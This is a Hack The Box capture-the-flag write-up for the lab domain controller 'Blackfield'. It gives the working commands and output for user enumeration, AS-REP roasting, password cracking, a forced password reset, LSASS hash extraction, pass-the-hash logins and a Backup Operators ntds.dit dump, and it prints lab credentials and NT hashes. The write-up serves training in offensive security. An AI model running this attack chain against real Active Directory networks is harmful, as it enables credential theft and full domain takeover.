Blackfield
AD Windows Hard 40 ptsHack The Box · retired · 2026-06-01
Summary: A hard Active Directory box exercising the full offensive AD workflow — SMB share enumeration, Kerberos pre-authentication attacks, BloodHound-driven ACL analysis, and a backup-operator privilege path to the domain's secret store. A thorough tour of chaining delegated directory permissions into domain compromise.
nmap scan:
┌──(kali㉿kali)-[~/htb/blackfield]
└─$ sudo nmap -sCV -p- 10.129.35.14 -oN nmapscan
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-18 19:13 -0400
Nmap scan report for 10.129.35.14
Host is up (0.034s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-19 06:15:45Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m49s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-05-19T06:15:51
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.90 seconds
Domain: BLACKFIELD.local
We find we have guest auth to smb and can read profile$, here we get a list of directories that serve as a good userlist when awk’d:
ls -lah | awk '{print $9}' | tee userlist.txt
We can take this list and do Unauthenticated User Spraying with Kerbrute
Kerbrute Unauthenticated with a Userlist
┌──(kali㉿kali)-[~/htb/blackfield]
└─$ kerbrute userenum --dc blackfield.local -d blackfield.local userlist.txt -v
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 05/18/26 - Ronnie Flathers @ropnop
2026/05/18 19:48:53 > Using KDC(s):
2026/05/18 19:48:53 > blackfield.local:88
2026/05/18 19:48:53 > [!] %q - %v Bad username: blank
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:48:58 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:03 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:08 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [+] VALID USERNAME: [email protected]
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:13 > [!] [email protected] - User does not exist
2026/05/18 19:49:18 > [!] [email protected] - User does not exist
2026/05/18 19:49:18 > [!] [email protected] - User does not exist
We end up finding 3 domain joined users:
──(kali㉿kali)-[~/htb/blackfield/real]
└─$ cat realusers.txt
[email protected]
[email protected]
[email protected]
With our wordlist we can attempt ASREPRoasting
ASREPRoast with Impacket GetNPUsers
──(kali㉿kali)-[~/htb/blackfield/real]
└─$ impacket-GetNPUsers blackfield.local/ -usersfile cutusers.txt -dc-ip 10.129.35.14 -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:cc1a48a32db77f5cad4115eac2fe17cb$5e6f0aa0a4c5c95dc5a62a8d9abb3bb9ac1196e0b5c123508fedc4af982092dd424e5f54cf6d3736d6f8043adc27f24d76c74526fb851c483610e8e7e2e9db11d126d674c7f3464b0e4872ef2a093fb2a36bd3c7729de216f82cabd7f34b1a0e03e0a7557f8d71bd272d651b9873b78b468f8b7406a6abbc7a9557745e5e8dfe8a1ada75bd8a1c5d82356b66a9ad3c0466d2887063902a7ba39e28d60c5a1e4bfb37244be5471a27c83327aecf7e45fd505e59cbeeeb8b3e6a004e460262e6c65c425ddf37401b68ace8c32b7904c5a98eab30cf731a75ba39e81d511e89278b1185b831aee02d8b47553b4654d5a2d3749ba032
We can crack this with hashcat:
┌──(kali㉿kali)-[~/htb/blackfield/real]
└─$ hashcat crackme /usr/share/wordlists/rockyou.txt
We found support:#00^BlackKnight, giving us our first domain user.
Of course we attempt to evil-winrm in but it fails.
When we check smb again we see that we can now read SYSVOL and NETLOGON with our new creds:
┌──(kali㉿kali)-[~/htb/blackfield/real]
└─$ nxc smb 10.129.35.14 -u 'support' -p '#00^BlackKnight' --shares
SMB 10.129.35.14 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.35.14 445 DC01 [+] BLACKFIELD.local\support:#00^BlackKnight
SMB 10.129.35.14 445 DC01 [*] Enumerated shares
SMB 10.129.35.14 445 DC01 Share Permissions Remark
SMB 10.129.35.14 445 DC01 ----- ----------- ------
SMB 10.129.35.14 445 DC01 ADMIN$ Remote Admin
SMB 10.129.35.14 445 DC01 C$ Default share
SMB 10.129.35.14 445 DC01 forensic Forensic / Audit share.
SMB 10.129.35.14 445 DC01 IPC$ READ Remote IPC
SMB 10.129.35.14 445 DC01 NETLOGON READ Logon server share
SMB 10.129.35.14 445 DC01 profiles$ READ
SMB 10.129.35.14 445 DC01 SYSVOL READ Logon server share
Downloading a Directory from SMB with spider_plus
nxc smb 10.129.35.14 -u 'support' -p '#00^BlackKnight' -M spider_plus -o DOWNLOAD_FLAG=True
This downloads the share contents to ~/.nxc/modules/nxc_spider_plus/10.129.35.14
We see this file but I’m not too concerned with potential SID perms as we should be able to just ingest into bloodhound:
──(kali㉿kali)-[~/…/MACHINE/Microsoft/Windows NT/SecEdit]
└─$ cat GptTmpl.inf
��[Unicode]
Unicode=yes
[Registry Values]
MACHINE\System\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity=4,1
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RequireSignOrSeal=4,1
MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\RequireSecuritySignature=4,1
MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\EnableSecuritySignature=4,1
[Privilege Rights]
SeAssignPrimaryTokenPrivilege = *S-1-5-20,*S-1-5-19
SeAuditPrivilege = *S-1-5-20,*S-1-5-19
SeBackupPrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeBatchLogonRight = *S-1-5-32-559,*S-1-5-32-551,*S-1-5-32-544
SeChangeNotifyPrivilege = *S-1-5-32-554,*S-1-5-11,*S-1-5-32-544,*S-1-5-20,*S-1-5-19,*S-1-1-0
SeCreatePagefilePrivilege = *S-1-5-32-544
SeDebugPrivilege = *S-1-5-32-544
SeIncreaseBasePriorityPrivilege = *S-1-5-90-0,*S-1-5-32-544
SeIncreaseQuotaPrivilege = *S-1-5-32-544,*S-1-5-20,*S-1-5-19
SeInteractiveLogonRight = *S-1-5-9,*S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-548,*S-1-5-32-551,*S-1-5-32-544
SeLoadDriverPrivilege = *S-1-5-32-550,*S-1-5-32-544
SeMachineAccountPrivilege = *S-1-5-11
SeNetworkLogonRight = *S-1-5-32-554,*S-1-5-9,*S-1-5-11,*S-1-5-32-544,*S-1-1-0
SeProfileSingleProcessPrivilege = *S-1-5-32-544
SeRemoteShutdownPrivilege = *S-1-5-32-549,*S-1-5-32-544
SeRestorePrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSecurityPrivilege = *S-1-5-32-544
SeShutdownPrivilege = *S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSystemEnvironmentPrivilege = *S-1-5-32-544
SeSystemProfilePrivilege = *S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420,*S-1-5-32-544
SeSystemTimePrivilege = *S-1-5-32-549,*S-1-5-32-544,*S-1-5-19
SeTakeOwnershipPrivilege = *S-1-5-32-544
SeUndockPrivilege = *S-1-5-32-544
SeEnableDelegationPrivilege = *S-1-5-32-544
[Version]
signature="$CHICAGO$"
Revision=1
┌──(kali㉿kali)-[~/htb/blackfield/real]
└─$ bloodhound-python -d 'blackfield.local' -u 'support' -p '#00^BlackKnight' -ns 10.129.35.14 -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: blackfield.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.blackfield.local:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Testing resolved hostname connectivity dead:beef::3445:5a5e:df5c:f5f8
INFO: Trying LDAP connection to dead:beef::3445:5a5e:df5c:f5f8
Now we can ingest this into bloodhound
While I waited for it to ingest, I checked for Kerberoastable accounts, none seemed to be found:
──(kali㉿kali)-[~/…/MACHINE/Microsoft/Windows NT/SecEdit]
└─$ impacket-GetUserSPNs blackfield.local/support:'#00^BlackKnight' -dc-ip 10.129.35.14
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
In bloodhound we see that [email protected] has ForceChangePassword perms over [email protected] meaning he can change his password and compromise him
Changing Password with net rpc password
┌──(kali㉿kali)-[~/htb/blackfield/real]
└─$ net rpc password Audit2020 'NewPass123!' -U 'blackfield.local/support%#00^BlackKnight' -S 10.129.35.14
Our new account: audit2020:NewPass123! has read access to the forensic share in SMB
┌──(kali㉿kali)-[~/htb/blackfield/real]
└─$ nxc smb 10.129.35.14 -u 'audit2020' -p 'NewPass123!' --shares
SMB 10.129.35.14 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.35.14 445 DC01 [+] BLACKFIELD.local\audit2020:NewPass123!
SMB 10.129.35.14 445 DC01 [*] Enumerated shares
SMB 10.129.35.14 445 DC01 Share Permissions Remark
SMB 10.129.35.14 445 DC01 ----- ----------- ------
SMB 10.129.35.14 445 DC01 ADMIN$ Remote Admin
SMB 10.129.35.14 445 DC01 C$ Default share
SMB 10.129.35.14 445 DC01 forensic READ Forensic / Audit share.
SMB 10.129.35.14 445 DC01 IPC$ READ Remote IPC
SMB 10.129.35.14 445 DC01 NETLOGON READ Logon server share
SMB 10.129.35.14 445 DC01 profiles$ READ
SMB 10.129.35.14 445 DC01 SYSVOL READ Logon server share
In forensic share we can find memory_analysis which we see has an lsass.zip. We can get this and try to dump hashes from the lsass.dmp
Dumping hashes from an LSASS.dmp with pypykatz
pypykatz lsa minidump /path/to/lsass.dmp
We get the NT hash from svc_backup who is an RMU member and Backup_Operator that we saw earlier.
We can pass this hash in evil-winrm to get a shell as svc_backup and get the user flag:
──(kali㉿kali)-[~/htb/blackfield/real]
└─$ cat dumpedlsasshashes.txt
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000
┌──(kali㉿kali)-[~/…/modules/nxc_spider_plus/10.129.35.14/forensic]
└─$ evil-winrm -i 10.129.35.14 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami
blackfield\svc_backup
Upon gaining this shell we check privs:
*Evil-WinRM* PS C:\Users\svc_backup> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
We notice interesting privs that come from our Backup Operators group
*Evil-WinRM* PS C:\Users\svc_backup> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
The SeBackupPrivilege and SeRestorePrivilege can be used to extract SAM, SYSTEM, SECURITY, or ntds.dit files (if on a domain controller)
We are on a domain controller so I want to exploit this and dump the ntds.dit and the system in order to decrypt the credentials
I recommend this article as a guide for diskshadow and robocopy exploitation of these perms: https://juggernaut-sec.com/sebackupprivilege/
First we craft the diskshadow.txt file:
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding asciiecho "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -appendecho "create" | out-file ./diskshadow.txt -encoding ascii -appendecho "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
These commands make diskshadow take a copy of C: and make it an accessible drive called Z:
Now we make our shadow copy from the diskshadow.txt file and mount it as Z:
diskshadow.exe /s c:\temp\diskshadow.txt
Now we need to copy ntds.dit and system.bak:
robocopy /b Z:\Windows\NTDS\ C:\Windows\Temp ntds.ditreg save hklm\system C:\Windows\Temp\system.bak
After dumping ntds.dit and system.bak we can download it to our machine and perform a secretsdump:
secretsdump.py -ntds ntds.dit -system system.bak LOCAL
Pass the Hash for Domain Compromise
evil-winrm -i 10.129.35.14 -u Administrator -H <admin_nt_hash>
*Evil-WinRM* PS C:\Users\svc_backup\Documents> ls
Directory: C:\Users\svc_backup\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/20/2026 2:32 AM 86 diskshadow.txt
-a---- 5/19/2026 10:07 PM 18874368 ntds.dit
-a---- 5/20/2026 2:37 AM 17580032 system.bak
┌──(kali㉿kali)-[~/htb/blackfield/real]
└─$ impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:19b2e34d7dd6c666283e93a6c3ba2ab0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::